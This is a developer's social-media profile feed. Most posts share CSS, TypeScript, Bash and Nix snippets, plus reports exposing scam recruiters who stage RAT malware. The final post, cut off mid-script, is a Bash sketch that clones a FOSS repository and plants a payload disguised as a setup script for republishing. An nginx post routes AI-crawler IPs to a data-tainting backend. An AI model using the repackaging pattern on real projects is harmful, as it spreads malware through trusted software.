Sign in

S0AndS0.eth

@s0-and-s0.bsky.social
132 followers 137 following 910 posts

Tight technical tips, and links to Open Source projects are what I generally share here. Thanks for stopping by lifeforms, and good luck to y'all!

PostsRepliesMedia
S0AndS0.eth @s0-and-s0.bsky.social · 06/10/2026
Yet another scruter (scam-recruiter) to report for trying to stage info-stealing/RAT malwares; www.linkedin.com/feed/update/... ... is almost insulting these folks don't bother to check if intended marks blast past scruters publicly for such things :-|
linkedin.com
LinkedIn and GitHub and Google yet another scruter (scam-recruiter) to report to y'all that's abusing y'alls' services to distribute info-stealing, and RAT staging, malware TLDR: they...
LinkedIn and GitHub and Google yet another scruter (scam-recruiter) to report to y'all that's abusing y'alls' services to distribute info-stealing, and RAT staging, malware TLDR: they're using the us...
000
S0AndS0.eth @s0-and-s0.bsky.social · 23/09/2026
Here be another CSS/HTML (ab)use example of `::before`/`::after` pseudo-elements I need an expert in the ways of accessibility to confirm; currently I believe using `ul`/`li` elements _may_ provide screen readers sufficient semantic hints to not require `area-` labels #css #frontend #html
```html
<!--
	CSS/HTML comma separated list example

	Author: S0AndS0.eth
	License: This is your problem now ;-)
-->

<style>
	.list__comma-separated__oxford {
		list-style: none;
		display: flex;
		padding: 0;
		margin: 0;

		& > li {
			&:not(:last-child)::after {
				padding-inline-end: 0.5ch;
				content: ', ';
			}

			&:last-child::before {
				content: 'and ';
			}
		}
	}
</style>

<ul class="list__comma-separated__oxford">
	<li>First</li>
	<li>Second</li>
	<li>Third</li>
	<li>Forth</li>
	<li>Fifth</li>
</ul>
```
000
S0AndS0.eth @s0-and-s0.bsky.social · 22/09/2026
Been doing stuff with frontend things, and figured a few others might find this pattern useful #css #frontend #ui #ux #webdev
```css
/**
 * Example of first/last-of-type and nth-child usage for fun and debugging.
 *
 * @author S0AndS0.eth
 * @license This is your problem now ;-)
 *
 * ```html
 * <div>
 *   <div class="target">
 *     <span>Primary one</span>
 *     <span>Hidden first</span>
 *     <span>Hidden second</span>
 *   </div>
 * </div>
 * 
 * <div>
 *   <div class="target">
 *     <span>Primary two</span>
 *   </div>
 * </div>
 * ```
 *
 * Expected result in browser
 *
 * ```text
 * Primary one (Hidden first, Hidden second)
 * Primary two
 * ```
 *
 * Expected result when printed/saved as PDF
 *
 * ```text
 * Primary one
 * Primary two
 * ```
 */
.target > *:not(:first-of-type) {
  @media print { display: none; }

  color: pink;
  font-size: 75%;

  &:nth-child(2)::before { content: ' ('; }
  &:nth-child(n+2):not(:last-of-type)::after { content: ', '; }
  &:last-of-type::after { content: ')'; }
}
```
131
S0AndS0.eth @s0-and-s0.bsky.social · 17/09/2026
NodeJS has a built-in argument parser Wrapping it with something that can handle type/value mutation is reasonably trivial And cluing-in TypeScript to mutations makes development a little less annoying, and a little less error prone too :-] #DevExp #NodeJS #TypeScript
```typescript
/**
 * @file NodeJS builtin argument parsing example with TypeScript enhanced callbacks
 * @author S0AndS0.eth
 * @license This is your problem now (-;
 */

import type { ParseArgsConfig } from "node:util";

import { parseArgs } from "node:util";

type Apply_Callbacks<
	T extends ParseArgsConfig,
	Values = ReturnType<typeof parseArgs<T>>["values"],
	Options = T["options"],
> = {
	[Key in keyof Values]: Options[Key]["callback"] extends Function
		? ReturnType<Options[Key]["callback"]>
		: Values[Key];
};

function parseArguments<T extends ParseArgsConfig>(config?: T) {
	const result = parseArgs(config);

	result.values = Object.entries(result.values).reduce(
		(accumulator, [key, value], _index, array) => {
			const callback = config?.options[key].callback;

			if (callback) {
				accumulator[key] = callback({ value, values: array });
			} else {
				accumulator[key] = value;
			}

			return accumulator;
		},
		{} as Apply_Callbacks<T>
	);

	return result as Omit<ReturnType<typeof parseArgs<T>>, "values"> & {
		values: Apply_Callbacks<T>;
	};
}

const options = {
	verbose: {
		type: "boolean",
		short: "v",
		description: "Output additional information during execution.",
	},
	"as-number": {
		type: "string",
		description:
			"Throws error if given non-number during CLI argument parsing/conversion.",
		callback: ({ value }: { value: string }) => {
			const result = Number(value);
			if (Number.isNaN(result)) {
				throw new Error("Not a number given to: --as-number <value>");
			}
			return result;
		},
	},
} as const;

const { values } = parseArguments({ options });

/* Should now resolve to; number | undefined */
type Test_as_number = (typeof values)["as-number"];

/* Should now resolve to; boolean | undefined */
type Test_verbose = (typeof values)["verbose"];
```
020
Reposted by S0AndS0.eth
Welcome to Night Vale @nightvaleradio.bsky.social · 14/09/2026
Fool me once. Yeah. Like that. Fool me twice. Oooh. Yes. Again! Slower.
127175
S0AndS0.eth @s0-and-s0.bsky.social · 12/09/2026
One, of many, I like to define on JavaScript classes is a `.toString()` method Makes it less likely to get an `[object Object]` exposed on client side Now with _some_ abuse of TypeScript hints it be possible to have LSP show preview of results all without a `console.log` #javascript #typescript
```typescript
export type Array_Join<T extends string[], S extends string = ''>
	= T extends [infer Head, ...infer Tail]
	? Tail[0] extends string
		? `${Head}${S}${Array_Join<Tail, S>}`
		: Head
	: never;

/* Resolves to; "foo, bar, ham" */
type Test_Array_Join = Array_Join<['foo', 'bar', 'ham'], ', '>;

export type Ordered_Values<Records extends { [key: string]: unknown; }, Keys extends string[]>
	= Keys extends [infer Head, ...infer Tail]
	? [Records[Head], ...Ordered_Values<Records, Tail>]
	: [];

/* Resolves to; ["BAR", "FOO"] */
type Test_Ordered_Values = Ordered_Values<{foo: 'FOO', bar: 'BAR'}, ['bar', 'foo']>

/* Resolves to; "some thangs cannot be unseen" */
type Test = Array_Join<Ordered_Values<{
	last: 'cannot be unseen',
	first: 'some',
	second: 'thangs',
}, [
	'first',
	'second',
	'last',
]>, ' '>;
```
011
S0AndS0.eth @s0-and-s0.bsky.social · 10/09/2026
So after much fiddling about, and help from another dev, it seems this is the best that can be done in pure TypeScript to expose RegExp constructor(s) and flag(s) Not happy that it be incomplete, but am satisfied enough that it'll cover most normal use-cases #devexp #regexp #typescript #webdev
````typescript
/**
 * Thanks to @GucciMAANG for showing `\d` and others are treated as `d`
 */
export type Escape_Entries = {
	'\n': '\\n';
	'\r': '\\r';
	'/': '\\/';
	/* WARNING: Following auto-expand when input, but no easy way to detect here */
	// '\b': '\u0008';
	// '\f': '\u000c';
	// '\v': '\u000b';
	/* WARNING: Following expect two to four more characters, and no easy way to detect here */
	// '\u': '\u0000';
	// '\x': '\u00';
};

/* When uncommented resolves to; "\b \f \v \\u \\x" */
// type Test = Escape_All<'\b \f \v \u \x'>;

export type Maybe_Escape_Character<T extends string>
	= T extends keyof Escape_Entries
	? Escape_Entries[T]
	: T;

export type Escape_All<S extends string>
	= S extends `${infer Head}${infer Tail}`
	? `${Maybe_Escape_Character<Head>}${Escape_All<Tail>}`
	: S;

export type Format_Expression<Type extends string> = `((\\b|\\s)(${Type})(\\b|\\s))`;

export type RegExp_With_Hints<
	Type extends string,
	Flags extends string = '',
	_Formatted = Format_Expression<Escape_All<Type>>,
> = RegExp & {
	source: _Formatted;
	toString(): `/${_Formatted}/${Flags}`;
};

export type Expression_Entries<
	Type extends Record<string, string>,
	Flags extends string = '',
> = {
	[Key in keyof Type]: RegExp_With_Hints<Type[Key], Flags>;
};

const constructors = {
	some_thang_simple: 'some\\s+thang\\s+simple',
	other_thang: 'woot\nnew\rlines?',
} as const;

const flags = 'gi' as const;

export const expressions = Object.entries(constructors).reduce((accumulator, [key, value]) => {
	try {
		const expression = `((\\b|\\s)(${value})(\\b|\\s))`;
		accumulator[key] = new RegExp(expression, flags);
	} catch (error) {
		console.error({ key, value, error });
		throw error;
	}
	return accumulator;
}, {} as Expression_Entries<typeof constructors, typeof flags>) as const;

/* Is; "((\\b|\\s)(woot\\nnew\\rlines?)(\\b|\\s))" */
// expressions.other_thang.source

/* Is; "/((\\b|\\s)(some\\s+thang\\s+simple)(\\b|\\s))/gi" */
// expressions.some_thang_simple.toString()
```
010
S0AndS0.eth @s0-and-s0.bsky.social · 09/09/2026
One of the definitions I use to figure out if something's Art is if I feel something from it ... I feel things when looking at this TypeScript #backend #devexp #frontend #typescript #webdev
```typescript
/**
 * Attributions;
 * - https://code.lol/post/programming/higher-kinded-types/
 */

interface HKT {
	_T: unknown;
	result: unknown;
}

type Apply<F extends HKT, T> = (F & { _T: T })['result'];

interface Prepend<T = 'PREPEND '> extends HKT { result: `${T}${this['_T']}`; }
interface Append<T = ' APPEND'> extends HKT { result: `${this['_T']}${T}`; }
interface Sandwich<L, R> extends HKT { result: `${L}${this['_T']}${R}`; }

const value = 'some-thang' as const;
type Value = typeof value;

type Test_Prepend = Apply<Prepend, Value>;
type Test_Append = Apply<Append<' woot?'>, Value>;
type Test_Sandwich = Apply<Sandwich<'Left ', ' Right'>, Value>;
```
020
S0AndS0.eth @s0-and-s0.bsky.social · 08/09/2026
Likely there are good reasons why this ain't default behavior, however, in this niche use-case I believe type/tab-hints are worth the computational performance hit to reduce cognitive load #Backend #Frontend #TypeScript #devexp #webdev
`````typescript
type ReplaceAll<
	S extends string,
	From extends string,
	To extends string,
>	= S extends `${infer Head}${From}${infer Tail}`
	? `${Head}${To}${ReplaceAll<Tail, From, To>}`
	: S;

/**
 * What will be given to; `new RegExp`
 */
type Expression_String<T> = `(?<=(<${T}>))(\n.*)*(?=(</${T}>))`;

/**
 * What to expect from; `(new RegExp(...)).toString()`
 */
type Expression_toString<T> = `/${ReplaceAll<
	ReplaceAll<
		Expression_String<T>, '\n', '\\n'>,
		'/',
		'\\/'
>}/`;

/**
 * Put together some type-hint abominations
 */
type Expression_Entries<Type> = {
	[Key in keyof Type]: RegExp & {
		toString: () => Expression_toString<Type[Key]>;
	};
};

const xml_tags = {
	some_thang: "some-thang",
	other_tag: "other-tag",
} as const;

export type XML_Expressions = Expression_Entries<typeof xml_tags>;

export const xml_expressions = Object.entries(xml_tags).reduce(
	(accumulator, [key, value]) => {
		try {
			const expression_string = `(?<=(<${value}>))(\n.*)*(?=(</${value}>))`;
			accumulator[key] = new RegExp(expression_string);
		} catch (error) {
			console.error({ key, value, error });
			throw error;
		}
		return accumulator;
	},
	{} as XML_Expressions
);

/**
 * LSP now will show something like;
 *
 * ```typescript
 * (property) toString: () => "/(?<=(<other-tag>))(\\n.*)*(?=(<\\/other-tag>))/"
 * ```
 */
xml_expressions.other_tag.toString()
`````
110
S0AndS0.eth @s0-and-s0.bsky.social · 06/09/2026
Recently got sufficiently annoyed with services being pounded by disrespectful slop slinging web-scrapper owners trying to slurp data 10 hours 53 minutes, over 5 days, later and now I've a good idea of how to build Linux Kernel modules for NixOS #devops #firewall #foss #linux #nixos #security
100
S0AndS0.eth @s0-and-s0.bsky.social · 05/09/2026
Version bumper that can be ran as a stand-alone Bash script or sourced within others Handles inputs like `v0.1.2` or `4.19.68` or `1.33.6-pre` #bash #cicd #devops #linux
```bash
#!/usr/bin/env bash

##
# Version bumper for bumping version
# Author: S0AndS0.eth
# License: This is your problem now (-;
# Examples:
#
# CLI
#
# ```bash
# version-bumper.sh 'v0.1.2' 'patch'
# ```
#
# ```bash
# source "path-to-this-file.sh";
# version-bumper 'v0.1.2' 'patch';
# ```
version-bumper() (
	set -eET;

	local _version="${1:?Undefined version}";
	local _target="${2:-patch}";

	local _ref_name _prefix _major _minor _patch _suffix;

	checkRefIsSet() {
		local -n _ref="${1:?Undefined reference passed}";
		if ! ((${#_ref})); then
			printf >&2 'Empty value for -> %s\n' "${1}";
			return 1;
		fi
	}

	read -rd '' _major _minor _patch _suffix < <(sed -E '{
		s/^(.*[[:digit:]]+)\.([[:digit:]]+)\.([[:digit:]]+)(.*)$/\1 \2 \3 \4/;
	}' <<<"${_version}") || true;

	read -rd '' _prefix _major < <(sed -E '{
		s/^([^0-9]+)?([[:digit:]]+)/\1 \2/;
	}' <<<"${_major}") || true;

	if ! (( ${#_major} )) && (( ${#_prefix} )); then
		_major="${_prefix}";
		_prefix=
	fi

	for _ref_name in _major _minor _patch; do
		checkRefIsSet "${_ref_name}";
	done

	case "${_target}" in
		major)
			_major=$((++_major));
			_minor=0;
			_patch=0;
		;;
		minor)
			_minor=$((++_minor));
			_patch=0;
		;;
		patch)
			_patch=$((++_patch));
		;;
		*)
			printf >&2 'Unknown target -> %s\n' "${_target}";
			exit 1;
		;;
	esac

	printf '%s%s.%s.%s%s\n' "${_prefix}" "${_major}" "${_minor}" "${_patch}" "${_suffix}";
)

if ! (return 0 2>/dev/null); then
	version-bumper "${1}" "${2}";
fi
```
000
S0AndS0.eth @s0-and-s0.bsky.social · 02/09/2026
Signs-up to web-site using email address with plus-sign, ex `user+site.tld@email.tld`
100
Reposted by S0AndS0.eth
Carlos Eagle @mexicoseagle.bsky.social · 30/08/2026
each day on this planet is worse than the last
alt text
0111
S0AndS0.eth @s0-and-s0.bsky.social · 25/08/2026
I'm not gonna suggest sys-admins setup a reverse proxy to serve slop to slop slurping, and slingling, scrappers BuUut, I'm also not gonna say it wouldn't be terribly funny for sys-admins to accelerate the tainting #ai #slop #backend #scraper #security
```nginx
## Attributions:
#
# - http://nginx.org/en/docs/http/ngx_http_geo_module.html
# - https://github.com/tbeachill/ai-crawler-ip-ranges
# - https://serverfault.com/questions/743414/how-can-i-check-if-remote-addr-ip-is-not-in-cidr-range-in-nginx#743417

geo $ip_openai_user {
  default            0;
  104.208.184.192/28 1;
  104.210.139.192/28 1;
  # ...
}
geo $ip_openai_train {
  default            0;
  132.196.86.0/24    1;
  172.182.202.0/25   1;
  # ...
}

server {
  location / {
    # ... other proxy_set_header stuff...

    ## Default for clients not known to be slop slurping
    proxy_pass http://domain-for-legit-users;

    ## This is probably a bad idea
    if ($ip_openai_user) {
      proxy_pass http://domain-for-slop-slurping-scrapers;
    }
    if ($ip_openai_train) {
      proxy_pass http://domain-for-slop-slurping-scrapers;
    }

    # ... rest of configs...
  }
}
```
000
S0AndS0.eth @s0-and-s0.bsky.social · 25/08/2026
Rorschach test, in HTML, what do you see and how does it make you feel? #html #webdev #frontend #fullstack #ragebate
```html
<input
  data-input="first_name"
  data-testid="input-first_name"
  id="field-41968"
  aria-required="true"
  placeholder="First name"
  value=""
  name="sOmErAnDoMcHaRaCtErS">
```
100
S0AndS0.eth @s0-and-s0.bsky.social · 21/08/2026
If I were to live stream some web-browser extension development would any degenerates reading wanna watch? If so, then what time/day-s of week would work best? 0. Weekends 22:30 UTC (±30 minutes) 1. Weekdays 15:30 UTC (±30 minutes) #html #webdev #javascript #typescript
120
S0AndS0.eth @s0-and-s0.bsky.social · 17/08/2026
Been doing some things with raw JavaScript and HTML recently Attached be a first crack at emulating some behaviors I like about the Nix language, specifically assigning values to a nested data-structure and making intermediate structures along the way #JavaScript #TypeScript #HTML #webdev
```typescript
/**
 * @author S0AndS0
 * @license This is your problem now (-;
 *
 * @example HTML Form to Object
 *
 * ```html
 * <form>
 * 	<input name="user.name.first" value="Jayne" type="text" />
 * 	<input name="user.name.last" value="Cobb" type="text" />
 * </form>
 * ```
 *
 * ```javascript
 * const form = document.querySelector('form');
 * const formData = new FormData(form);
 *
 * const accumulator = {};
 *
 * formData.entries().forEach(([path, value]) => objectByPathSet({ path, value, accumulator }));
 *
 * console.assert(accumulator.user.name.first == 'Jayne', 'Did not get expected first name');
 * ```
 */
export function objectByPathSet({
	path,
	value,
	accumulator = {},
	separator = '.',
	duplicateCallback = ({ current, next }) => {
		if (!Array.isArray(current)) { current = [current]; }
		current.push(next);
		return current;
	},
}: {
	path: string;
	value: any;
	accumulator: Object | Array;
	separator: string;
	duplicateCallback: ({ current, next }: { current: any; next: any }) => any | Array<any>;
} = {}) {
	if (!Object.keys(path ?? '').length) {
		throw new Error('Empty or undefined `path`');
	} else if (typeof path !== 'string') {
		throw new TypeError('`path` is not a string');
	} else if (typeof separator !== 'string') {
		throw new TypeError('`separator` is not a string');
	} else if (typeof accumulator !== 'object') {
		throw new TypeError('`accumulator` not an object');
	}

	const [key, ...remainder] = path.split(separator);

	if (!remainder.length) {
		if (Object.hasOwn(accumulator, key)) {
			accumulator[key] = duplicateCallback({ current: accumulator[key], next: value, });
		} else {
			accumulator[key] = value;
		}
		return accumulator;
	} else if (!Object.hasOwn(accumulator, key)) {
		accumulator[key] = {};
	}

	accumulator[key] = objectByPathSet({
		accumulator: accumulator[key],
		path: remainder.join(separator),
		value,
		separator,
		duplicateCallback,
	});

	return accumulator;
}
``````typescript
/**
 * Get values from object by path
 *
 * @author S0AndS0
 * @license This is your problem now (-;
 *
 * @example
 *
 * ```javascript
 * const input = {
 * 	first: {
 * 		second: {
 * 			third: 'Woot!',
 * 		},
 * 	},
 * };
 *
 * console.assert('Woot!' === objectByPathGet({
 * 	path: 'first.second.third',
 * 	input,
 * }), 'Failed to expected value');
 *
 * console.assert(undefined === objectByPathGet({
 * 	path: 'first.nope.not.there',
 * 	input,
 * }), 'Failed to expected value');
 * ```
 */
export function objectByPathGet({
	path,
	input,
	separator = '.',
}: {
	path: string;
	input: Object | Array;
	separator: string;
} = {}) {
	if (!Object.keys(path ?? '').length) {
		throw new Error('Empty or undefined `path`');
	} else if (typeof path !== 'string') {
		throw new TypeError('`path` is not a string');
	} else if (typeof separator !== 'string') {
		throw new TypeError('`separator` is not a string');
	} else if (!Object.keys(input ?? {}).length) {
		return undefined;
	}

	const [key, ...remainder] = path.split(separator);
	if (!remainder.length) {
		return input[key];
	}
	return objectByPathGet({
		path: remainder.join(separator),
		input: input[key],
		separator,
	});
}
```
020
S0AndS0.eth @s0-and-s0.bsky.social · 11/08/2026
Had someone demanded a free project vibe-check and, among other things, told 'em; - "lost in the sauce Heavens Gate style" is what I'd tell clients - the whole web3/4/5 thing is a horse that's long expired from beatings ... will update later if they _value_ bluntness
110
S0AndS0.eth @s0-and-s0.bsky.social · 10/08/2026
Over the weekend a threat actor made the mistake of contacting me in an attempt pop some shells on my box, all under the guise of a "code challenge" for a possible job Scamcruters (Scam recruiters) low effort is almost insulting at this point Juicy details will be published soon™
120
S0AndS0.eth @s0-and-s0.bsky.social · 13/07/2026
There's something very satisfying about Nix modules enabling the packaging, declaring, and enabling of scripts that reduce scheduling mistakes #bash #linux #nix #scripting
`````nix
/**
  ## Example usage

  ```bash
  discord-time
  #> <t:1783909005>

  discord-time '+2 hours'
  #> <t:1783923378>

  discord-time 'next tuesday'
  #> <t:1784012400>
  ```

  ## Home Manager Example import and enabling

  ```nix
  {
    osConfig,
    ...
  }:

  {
    imports = [ ./modules/programs/discord-time.nix ];

    programs.discord-time.enable = true;
  }
  ```
*/
{
  config,
  lib,
  pkgs,
  ...
}:
let
  custom-pkgs.discord-time = pkgs.writeScriptBin "discord-time" ''
    date --date="''${*:-$(date)}" +'<t:%s>'
  '';

  inherit (lib)
    mkEnableOption
    mkIf
    mkPackageOption
    ;

  cfg = config.programs.discord-time;
in
{
  options.programs.discord-time = {
    enable = mkEnableOption "Enable discord-time";

    package = mkPackageOption custom-pkgs "discord-time" {
      nullable = true;
    };
  };

  config = mkIf cfg.enable {
    home.packages = mkIf (cfg.package != null) [
      cfg.package
    ];
  };
}
`````
010
S0AndS0.eth @s0-and-s0.bsky.social · 12/07/2026
To truly, madly, deeply loath a language one must know a language Truly Madly Deeply™ #JavaScript #NodeJS #TypeScript
```javascript
const expression = '\n\swho knew\n\n?!';

console.log('expression ->', expression);
console.log('Escapes in expression?', expression.replaceAll('\\', '\\\\'));
console.log({ 'expression': expression });
console.log('expression ->' JSON.stringify(expression));
```
020
S0AndS0.eth @s0-and-s0.bsky.social · 05/07/2026
I like SystemD on Nix, but, SystemD does not like running on certain devices/environments running Nix Because I thought, at the time, it'd be fun I wrote a module for `runit` and submitted a PR to `nix-community/nix-on-droid` github.com/nix-communit... #nixos #development #foss #linux #android
github.com
modules: Add `runit` for service management by S0AndS0 · Pull Request #540 · nix-community/nix-on-droid
Long story short, Termux uses runit and (many hours/days) ago I thought it&#39;d be easy/fun to get runit running with Nix on Droid x-] Runit runs!... but, likely there are changes needed before th...
030
S0AndS0.eth @s0-and-s0.bsky.social · 24/06/2026
Publishing post today about adventures with NixOS on Raspberry Pi and Widevine DRM; s0ands0.github.io/nix/drm-wide... ... TLDR: Hulu and Apple TV, for now, seem to work and Netflix refuses even though it use to work via Raspbian #Linux #NixOS #RaspberryPi
s0ands0.github.io
DRM Widevine on Raspberry Pi
Partially functional setup for chromium and gecko based browsers with investigation notes on where things are broken
230
S0AndS0.eth @s0-and-s0.bsky.social · 24/06/2026
Slow cooked coconut milk curry beef tonight! Cooked on low for 10+ hours Rice was stick-to-ribs consistency, and swelled at same rate as other ingredients shrank Beef was tender/flaky, not quite dry nor drippy Vegetables, and mushrooms, were tender and melody of flavors
Image of slow cooked coconut milk curry beef!

## Ingredients

- Beef round rib-eye roast, about 2.5lb
- 1 broccoli floret
- 1 pound of baby carrots 
- 1 whole onion
- 0.5 container of sliced mushrooms
- 1 cup of rice
- 1 cup coconut-milk per cup of rice
- 2 table spoons curry powder per cup of rice
- 3 table spoons minced garlic per cup of rice

## Prep

- Wash rice and drain
- Mix curry powder into coconut milk with fork, or whisk, until no clumps
- Soak rice with about half of coconut milk curry powder mixture
- Mix in minced garlic with half of coconut milk curry powder mixture
- Place meat in center of slow-cooker
- Surround with baby carrots
- Slice onion into thin rounds, and quarter, then stuff between carrots
- Spoon rice mixture over meat/vegetables in slow-cooker
- Slice stems of broccoli into thin rounds and place over rice
- Squeeze broccoli florets and mushrooms on-top/between rice and other ingredients
- Pour remaining garlic/curry/coconut-milk mixture over everything
000
S0AndS0.eth @s0-and-s0.bsky.social · 21/06/2026
As promised a new post be published about resolving Out Of Memory (OOM) problems on Raspberry Pi v5 running NixOS; s0ands0.github.io/nix/oom-rasp... #FOSS #NixOS #Linux
s0ands0.github.io
OOM Raspberry Pi
Managing out of memory conditions with grace on low memory devices
010
S0AndS0.eth @s0-and-s0.bsky.social · 19/06/2026
Not saying a new high paying tech job and frisky GF would fix me... buUut also not saying that wouldn't fix me
000
S0AndS0.eth @s0-and-s0.bsky.social · 12/06/2026
Today a FOSS maintainer deemed my contribution worthy of accepting 🎉 github.com/nvmd/nixos-r... TLDR: it works around a local installer image build Issue by using GitHub Actions to schedule creation of downloadable artifacts Being allowed to fix stuff, or make it better is nice!
github.com
ci: Add GitHub Action to build installer images by S0AndS0 · Pull Request #196 · nvmd/nixos-raspberrypi
Much thanks be to @faddat on providing hints via PR #24 For next 90-ish days it should be possible to check, and download, artifact image built for RPi v5 via actions Between that test, and this he...
010
S0AndS0.eth @s0-and-s0.bsky.social · 12/06/2026
NixOS is pretty neat, it be possible to share configurations across multiple systems with relative ease And managing multiple systems remotely is a baked-in feature, for example I'm rebuilding a Raspberry Pi v5 via something like what's attached
````markdown
## NixOS Rebuild over SSH example

```bash
_host='root@192.168.0.41';
_name='.#rpi5';

nixos-rebuild \
  --target-host "${_host}" \
  --build-host "${_host}" \
  switch --impure \
  --flake "${_name}";
```

- `--target-host` is where changes will be applied
- `--build-host` is where packages will be built
- `switch` applies most changes without reboot
- `--impure` allows using less pure/reproducible configurations
- `--flake` makes use of Nix Flake features
- `_name` points at `outputs` -> `nixosConfigurations.<name>` in `flake.nix` file

Setting `--target-host` and `--build-host` to be same avoids cross-compile issues
````
120
S0AndS0.eth @s0-and-s0.bsky.social · 29/05/2026
Yet another scam recruiter (scamCruiter™) log to drop for y'alls' reading pleasure; s0ands0.github.io/scammers/202...
s0ands0.github.io
Angelica Montoya Balcazar of Digital Commit
Introduces me to Luis who wants to share a RAT
010
S0AndS0.eth @s0-and-s0.bsky.social · 23/05/2026
Scam recruiter, and RAT stager hunting, logs from last month have finally been published! Might take a day or two on my end to post links, but here be one where dude paid for the chance to pop a shell on my device (-x s0ands0.github.io/scammers/202...
s0ands0.github.io
Barbosa Renato of World Cup Fantasy Project
Demands code review that would lead to exploitation
000
S0AndS0.eth @s0-and-s0.bsky.social · 12/05/2026
Nix Home Manager example of managing thesaurus configuration for Vim
```nix
{
  pkgs,
  ...
}:

let
  thesaurus = {
    vim = pkgs.fetchzip {
      url = "https://github.com/vim/vim/files/2634525/thesaurus_pkg.zip";
      hash = "sha256-2ZjUJSsfdOm36vDj3AtUFp2F+ySmAvR5DqV9NgnjSHU=";
    };
  };

  settings = {
    editing = ''
      set thesaurus+=${thesaurus.vim.outPath + "/thesaurus.txt"}
    '';
  };
in
{
  config.programs.vim = {
    enable = true;
    extraConfig = ''
      ${settings.editing}
    '';
  };
}
```
000
S0AndS0.eth @s0-and-s0.bsky.social · 02/05/2026
```bash
#!/usr/bin/env bash

##
# Wrapper for launching web-browser preferred by user
#
# Author: S0AndS0.eth
# License: This is your problem now ;-)
# Example: scripts/browser.sh 'https://example.com'

_url="${1:-localhost:8080}"

case "$(uname -s)" in
	Linux)
		xdg-open "${_url}";
	;;
	Darwin)
		open "${_url}";
	;;
	Windows_NT|CYGWIN_NT*)
		explorer "${_url}";
	;;
	*)
		printf >&2 'Unrecognized OS\n';
		exit 1;
	;;
esac
```
000
S0AndS0.eth @s0-and-s0.bsky.social · 24/04/2026
```bash
#!/usr/bin/env bash

##
# Search `man` pages for RegExp pattern against specified package
#
# Example: man-search '^\s+Pattern Matching$' 'bash'
#
# Author: S0AndS0.eth
# License: This is your problem now ;-)

man --pager="less --pattern='${1:?Undefined pattern}'" "${2:?Undefined package}";
```
000
S0AndS0.eth @s0-and-s0.bsky.social · 19/04/2026
Some days I need help, help of the professional kind Some days, such as today, I am The Help ... the sorta help that spelunks source code and, with somewhat surgical precision, solves Prettier's problematic packaging practices github.com/NixOS/nixpkg...
github.com
prettier: 3.6.2 -. 3.8.1 by l0b0 · Pull Request #490347 · NixOS/nixpkgs
For #488495. In draft until it builds. @S0AndS0 Do you know how any of the Yarn tools work? Things done Built on platform: x86_64-linux aarch64-linux x86_64-darwin aarch64-darwin Tested, as...
110
S0AndS0.eth @s0-and-s0.bsky.social · 07/04/2026
I don't put a-whole lotta faith in "personality tests" required by various Orgs, or in Orgs that put much faith in 'em, but do think is kinda cute I made results look like a heart [-;
Image of "personality test" that's similar to a Pokemon stats-graph, perhaps similar enough to warrant litigation?

Regardless... the below "average" mark at top for "Achievement", combo-ed with above average "Openness" and "Motivation" to left and right respectively, along with other scored states makes an outline like a heart shifted slightly to stage left
000
S0AndS0.eth @s0-and-s0.bsky.social · 05/04/2026
Periodic reminder, ya probably don't need racks of GPUs to enhance productivity Instead target low-hanging fruit and/or redundantly repetitive tasks to reap reliable rewards For example; ~17 lines of executable, and readable, free-range code semi-automated my morning routine
```bash
#!/usr/bin/env bash

##
# MarkDown format morning greeting to teammates
#
# Example: gm 'fix CSS issue involving Firefox' 'document pore life choices'
# Author: S0AndS0.eth
# License: AGPL-3.0

declare -A _alliterations_by_day=(
	[Sunday]="Sensational,Spectacular,Splendid"
	[Monday]="Marvelous,Magnificent,Meticulous"
	# ...
);

_team_similes=(
	'technical teammates'
	'coding comrades'
	# ...
);

_tasks=( "${@:?Please provide at least one task}" );

_today="$(date +%A)";

readarray -td ',' _alliterations_for_today < <(
	printf '%s' "${_alliterations_by_day[${_today}]}"
);

_alliteration="${_alliterations_for_today[$((
	RANDOM % ${#_alliterations_for_today[@]}
))]}";

_team="${_team_similes[$((
	RANDOM % ${#_team_similes[@]}
))]}";

cat <<EOF
$(printf '%s %s %s!' "${_alliteration}" "${_today}" "${_team}")

Today, unless anyone objects, I'll be focusing on;

$(printf -- '- [ ] %s\n' "${_tasks[@]}")
EOF
```
030
S0AndS0.eth @s0-and-s0.bsky.social · 02/04/2026
```astro
---
/**
 * AstroJS Sloppy slop template o1-ultra for LinkedIns sloppy slop slingers
 * version: 0u-v1
 * license: confidential do not share, sharing would be knaughty!
 */
const subject = {
	X: {
		title: '',
		adjective: '',
	},
	Y: {
		title: '',
		items: [
			{
				name: '',
				description: { short: '', long: '' },
			}
		],
		callToAction: '',
	},
	hashTags: [],
};
---
Everyone is {subject.X.adjective} about {subject.X.title}.
But almost nobody understands {subject.Y.title}.

They are completely different things:

{subject.Y.items.map((item) => {
  return `→ ${item.name}: ${item.description.short}\n\n${item.description.long}`;
}).join('\n\n')}

{subject.Y.callToAction}

{subject.hashTags.map((hashTag) => {
  `#${hashTag}`;
}).join(' ')}
```
000
S0AndS0.eth @s0-and-s0.bsky.social · 01/04/2026
FOSS with (paid) Benefits
000
S0AndS0.eth @s0-and-s0.bsky.social · 29/03/2026
There's really nothing stopping you from writing a `Makefile` with custom hooks I certainly wouldn't stop you from writing a `Makefile` with custom hooks ;-)
```make
#!/usr/bin/make -f

.ONESHELL: love war
.PHONY: love war
.SILENT: love war

love: SHELL := $(BASH_PATH)
love: ## What to do for `make love`
	printf 'It is buisness time UwU\n';

war: SHELL := $(BASH_PATH)
war: ## What to do for `make war`
	printf 'All your base are belong to us!\n';
```
000
S0AndS0.eth @s0-and-s0.bsky.social · 28/03/2026
Leadership: humons must review everything LLM generates! Humons:...
010
Reposted by S0AndS0.eth
Boop @boopcat.bsky.social · 24/03/2026
And there's the speakers. xD
0131
S0AndS0.eth @s0-and-s0.bsky.social · 25/03/2026
Ignorance ain't a flex, and willful ignorance is another way of saying (and staying) stupid
000
S0AndS0.eth @s0-and-s0.bsky.social · 11/03/2026
Happened across someone suffering from the AI Delusion Syndrome ... they was saying AI somehow lowers difficulty of injecting payloads difficulty be so low as to be unworthy of measure :-|
```bash
#!/usr/bin/env bash

##
# Trivial example of how FOSS projects may get infected and re-published
# Author: S0AndS0.eth
# License: This is your problem now (-;

set -eET;

_url_innocuous_foss_project="${1:?Undefined URL for FOSS repo}";
_url_infected_project="${2:?Undefined URL for injected repo}";
_target_host="${3:-mac-os}";
_src_payload="${HOME}/apt-payloads/${_target_host}/totally-legit-setup-script";

git clone "${_url_innocuous_foss_project}";
pushd "${_##*/}";
mkdir scripts || true;
install --mode=+x "${_src_payload}" ./scripts/totally-lagit-setup-script;
